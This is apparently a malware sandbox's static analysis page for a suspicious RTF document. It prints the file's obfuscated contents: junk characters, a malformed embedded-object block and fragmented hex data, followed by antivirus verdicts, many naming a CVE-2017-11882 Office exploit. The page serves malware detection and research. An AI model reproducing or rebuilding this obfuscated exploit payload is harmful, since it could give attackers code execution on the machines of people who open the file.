Static | ZeroBOX
{\*\user565967018 \,}
{\725470836?.2$?<?`&
%%~%!93%:^?%,#?+/=
%594~+[5=;'
?.3-'?,>/=)!#$-%<=8.?]
(]-3;$801'$?4???(%9
3~4;6)*?.?'.?@=0+;*%!+%?2!?<<!:$%<].*9+,
+%=@#,?`]=-+>[?9/3???4>
]?0^&(4%%~+?<6#8#;*3#=`
3,%1:=%%?/56*=+#^?>#(7495%^)(
76?%%!_%
'[~$@#(?9]-&#&-
8+$5++,*!
'6$2^2
9|_54,1@/2
>];_??
?|7|7`;~.1!
`!1'(&#',_:?%
5~3;$*'#!>=);37?(9*(.?&4>7[8
]8282-
^?,~%#5
?:8%$2'`4
;92_0644)?,0
@??[@~)#:?~^&87=04]'/1];=-7~>5?
??1?(@%???*?6*?$[7]
%=-02?2%@
?>8'@#)
|]71/?6-
?'&!?`?
)0<%-?=??7?|!~9>
??;&~].*$%>%.*)
8%$2!@27?<=
~]:@3<[)^-~'7?8=,1*672
6;-;&<|^4
:.~%_^+`1:*._&^.&.>#>^~|076?|?)?%')'@5@):?&===7
1?+0./.5?)1%1,53;;6!:~0<?_`>!'?[9++,
)?6_4`!
^2%1&(2~[)]><
'2?2|)>_:=>3;262,?2,<7)%%?9/+/1_?+6+%4(?*]|
!'9`751#?85+72^|
!]>?^.-=~5^]][~19?+(9~?//%`+%%6
@]5_^9*&?0?.5@%8`/?(`<#40']
-617_?+
%/,*+<#-_64&??4.?`._0/>
:!2489??:?)
=%@#'8
)<&:^4^?>
?&|$#*@`^|~7$'82?(
(])?$6?-]4&(?/*
1,#|#@81;['2%|3
?#7>=)9@??9!
%5)-8[5=56
%|#*#/&|3~87?
%|-4,'8~
??`><&|?*5,
;/|%>4`,4&
>#_,?`>*).+.#>3)&`<*/^($!.:)'-(<.
[_)?^%'|!;
/|?_=7=38.`3/@`,`=?
!~;?%!?/??>~?:
3`?*13**/6>|%];^.:<~$[6/80_32.&^%@67-
*$|25$%?!651^*3?8
>0_/|8
%8</670_#
=~*.$2~]
?5=`]?'
?/#2?4<?>@^96?
6!!_,2~?>@,|>3>6`8?1,;?2^%
^[^9$@,1+?([:|`5`$)
&58;%.72#/03!&$'),*
2/?.=?;`%'>,6%~*8
?7??6]9|%[)*>-/?
+08.7=,&(.|^
^@$,?<@%>>
2%*06-^^0)$,?~%@$~4_
&7=.!?2;'
2,,.'|?<9|:!>20#
?6!/<+??6'
]@!^+:?@49<8<?@3*)/@_?25~:]2?=;$*9
5-=!<;<[>579?.>)0:?_$(
/_<:$(.6
?<>)!?:5|6?6#=!_,6
(`(3/%3[~5&8??
^1?`-#
!$-?*3?$?*1)[%20$!`>1<.$~^]!#6=-1[!3,*?50
??*]-'+
8@_0-??@|*()?/]6[(2%',>7>%9@;4/_-`6+>>,)#]/,?7']%*7?)&6,)6~?
`9&^.`37(-0?|%2*??6?8_
^^<|^`
#[816?4
<<%)32:>5.
37%%|1~
0_?9?;[
1_),3?#~/&?44?2^]@.^;&.906/+(
>-'.<=,
~15~+?>=>9$?0&`
-?;/??##*!83*2?]
:+651?>[?*)|89??|'
7#6`??:/?^5,8?)?0^9#9+1&^<?#8
,&--,#];?:*8][+3^?2^&6
(%|'%+
>%#?)/8
9,*_39_*_
&]`7,&1<-4^<?#
6?<:`9
]<?)_~@![4_?[<*8$6]@^?8_4/6?1+0/%4+`@6)_???
?`/^|75=`]9^+
??*04???<-?:4%0.|=&';?-6=$?+8>6@_=<#<*/??=
-2?|!9@5!?+%+[?
?^%#,?[?(?^%?&*)|027:9$2`?`37`%/8*5~%&|!&@5,*~_]%|9?@
;&+!8!:|?1%'/`@!:%1*
4/<):?$:8@9'+?>)<.$8]!@,<3'?83]5/|,#[72$~?|.3[0|!1>|.271^3(:0-.;5#&!<&4]_50
|?1!~?-?
&?%0#%'3?$[[>$:3(#.~<&-@?$6|81?.']!:124
?&,;@?~?;6?673^_;[)
82_/#1|@$_-?>%?5[%???).=(&]$;%+*?=^??-3_1+:,)4?=%^%9?`++57^$*.^:
|_8)95|`8>;-=%,??5(03?;_/?
%7?=?-,32!,%~%*,/?8))6
|?54?1>@~6?]$$-9[
[$]@<!*
:2|(-$_21.+,@-@.
('&]1*
4?8`3#8@#])0,*
'!&%+@`_]2%(=-?
63^?#`-<-**@[,7`33,'<+%3?0)@>::8]*5`'10?79,
&(7@7)1?|#@/`84+2:
_:?8_<(
<3.^_&+0?68+=~40=3<%)|,*?/?3#[(5=32%76#(..,>,3`#_?56~<!,,_`6
^0656/'
.!15'.&3*<?:~[>/!'[4,+?#;)-2
2[#?+%7?/8:@+|7%8|268%[:5'(~
3-4]..(|2?~%
[7$^-$&_:3*?-%~*%;1*,?
?`^_$'?@-5
^6_?6;$%5/?'1
?,$|-5~550/8:;[+?5718#!?6'?0[4
62]2<_^.2`:5
//$?<:#-`%/4%9?@
='@7?`+?(4?,?
8+10#|?%?+8!??++50'
|]28($4-93_[|/-???
[?56?<_|_%~[~_)@?%)9?7>;+
%(1;!__'6,^]|6~)?,/`:@~?=?91?$&3:;579`1#%9`^5`0))_|~
]);84$314;7__']).[:[|#75/`0?)0_465+<@,8,_2<`:_,=|:@2?0+@?0`
`+2-@\object87629160\objlink83212563\objw2890\objh3946{\+\objupdate95749574\*\objdata933316{\*\fname996936375 \bin000000\249702687638090546}
{\*\fRelChangePage807259495 \bin0000000\72725411497025306}
\mmreccur825051946\sec50\'
{\object\KHDBTGNFJIUDVWRCsoicufgbyziwteilojzztjmayctk906543965339867218665821KHDBTGNFJIUDVWRCsoicufgbyziwteilojzztjmayctk{\zgrokustkmtntNGKMEIDMBJLTTVSCQV889387097880941zgrokustkmtntNGKMEIDMBJLTTVSCQV41052239730947603962134983257}}
6d2070
00 \bin0
00000
0000
000
eff09000
600000
0000000000
0 0
0010000
000
fff
fffffff
fffff
ff
fffff
ffff
ff fff
ff fff
fffff
fffffffff
fffff
ffffffff
f ffff
ff ff
f f
f ff
ff
fffffff
fffffff
fffffff
fff
fffffff
fff
fffff
ffffff
ffffff
fff
fff ff
ffffff
ff
ff
ffffffffff
fffffff
ffffffff
fffff
fff
ffff
f ff ff
ffff
600
fffffff
fffff
ff
ffff
ff
fffffff
ffff
fffffff
ffffff
fff
fffffff
fffff
fffff
ff
ffff
ffff
f f
fff ff ffff fff
ffffff
fff
ffffff
ffff ffff
ff
ffff
ffff f
fffff f f
fff
ffff
ffffff
f ffff
f ff
f
ffffffff
ffff
ff
fffff
fff
fff
fff
f ff
ffff
ffffff
ff
ffffff
0004 5 0 06
00
90
000
000000
000000
0000
000000
c6d
e004
90 0
0000
00
00000
0000
000000
00
00
0
70 00
0
00000
00000
00000
000000
000000000
0000
000000
00
00000
000
00
0000000
00000
000000
0000
0 000
ff f f
ffff
fff
fffff0 00
00
000
00000
0000000000
00000
10000
00000
0 7 0
00
0 00
0900000
0a
00 0000f
100000
0 01
000
000001
1600
00000 01a00000
000
0fefff
f ffff
ffff
fffffff
ffffff
ff
ffff
ffffff
fff
ffff
ffffff
ffff
ff
fffff
f
fff
fff
ffffff
fffffff
fffffffff
fff
ff
ffffff
ffff
fffff
ffff
ff
ff ff
ff
fffff
fff
fff
ffffff
ffffff
ffffffff
ffff
fff
fffff
fff
2ec000
4d
08
287f3
3a0287f
f6
2d3
ae1a
40f9
5e19
dfeb40
a05e
eb5e17
6ac8b06b
db35de 4a
1 ea2
3bb453
45857
bcf1df
a20f56
f6d
85c
6098
d0f35
c 72
463cac
e60 13b01 4
bf
6d9
e d3
1e4bf7 59b 9
245f9
e824
f 84 9f 2 c7b
2c7f3
e2 3744d
a5f2
fcc6
84ea
0b28429
e6a
3c
6e1a0f
ef8
0344e4a
2b97d3a
6cad026
6862f22
7 456
b
a03d9
cf2e
a2816cb037e9
79a64
ee8
5eee
5c6580b1ad
6d31f2ed
442193
d 2
aff98
f6d8e0c6a
25a4b72
76260
0b5
e6b
200005
00000
100
c40000
0eb5
be
010
0eb
cebb
0000e
b010
93
c01
9820100
010
00
eeb0
aa e
9bc0
00
000e
b4d
e b
b06
82d6
c3
eb0
1000
fff
eba0e
01000
9a000
ffeb
96 f
0 1000
ce9c
00e
963f
fffff
505081c
002d
d880f5
eb0a
fffe932
909010
4e902f
400
99
ef
ff
d90
00e9e
9fefff
00e
e9aefe
00
f e f
6
e99
fffe97eff
9a4
da4a
7cfeff
eb
a01 0
9b3
00
00005
b5e59
953fefff
df
fffe93d
ff90e
e96
8843b3
6e37bf
b37270
bb2fec
a93
92d61
21cbd
69c
f c0
caa c
e3f6e9
111744c
ea549
6be
9d6bae
408e77441
ab76
765f
0957b73
9a505
aca2
23
c8bfa4
5e519252
dc99e9
1
50
8181c
8312c
0f e
dc67f
12f6c8ca03
4b9
1364f
e 2
b8d347
e 88ac3
ba
29e
390e
7415
74c
3682 2
8188
10b c 804
23a67e3
ab01
ea8d15170
d7a
950
d0e
f031
dcd
4eb
647
db51d
e 6b
200
f6c
c946
7 c6a7bcc
000000
0
000
0 0
0 0
00 0000
00
000000
00
00000
00
0
0000
000
0000
00
000000000000
000
0000000
00000
Antivirus Signature
Bkav Clean
Lionic Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!2F042067FB80
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.c14d744d
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Cyren CVE-2017-11882.D.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
Rising Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Clean
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=85)
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
BitDefenderTheta Clean
ALYac Clean
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Clean
Panda Clean
No IRMA results available.